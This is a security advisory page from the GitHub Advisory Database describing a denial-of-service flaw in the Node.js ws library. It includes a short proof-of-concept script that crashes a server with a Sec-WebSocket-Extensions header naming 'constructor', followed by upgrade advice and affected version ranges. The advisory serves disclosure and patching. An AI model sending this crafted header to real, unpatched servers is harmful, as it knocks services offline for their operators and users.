Lucene search

K
githubGitHub Advisory DatabaseGHSA-5V72-XG48-5RPM
HistoryJun 04, 2019 - 7:37 p.m.

Denial of Service in ws

2019-06-0419:37:52
CWE-400
GitHub Advisory Database
github.com
19

Affected versions of ws can crash when a specially crafted Sec-WebSocket-Extensions header containing Object.prototype property names as extension or parameter names is sent.

Proof of concept

const WebSocket = require('ws');
const net = require('net');

const wss = new WebSocket.Server({ port: 3000 }, function () {
  const payload = 'constructor';  // or ',;constructor'

  const request = [
    'GET / HTTP/1.1',
    'Connection: Upgrade',
    'Sec-WebSocket-Key: test',
    'Sec-WebSocket-Version: 8',
    `Sec-WebSocket-Extensions: ${payload}`,
    'Upgrade: websocket',
    '\r\n'
  ].join('\r\n');

  const socket = net.connect(3000, function () {
    socket.resume();
    socket.write(request);
  });
});

Recommendation

Update to version 3.3.1 or later.

Affected configurations

Vulners
Node
ws_projectwsRange2.0.0node.js
OR
ws_projectwsRange<3.3.1node.js
OR
ws_projectwsRange0.2.6node.js
OR
ws_projectwsRange<1.1.5node.js
CPENameOperatorVersion
wsge2.0.0
wslt3.3.1
wsge0.2.6
wslt1.1.5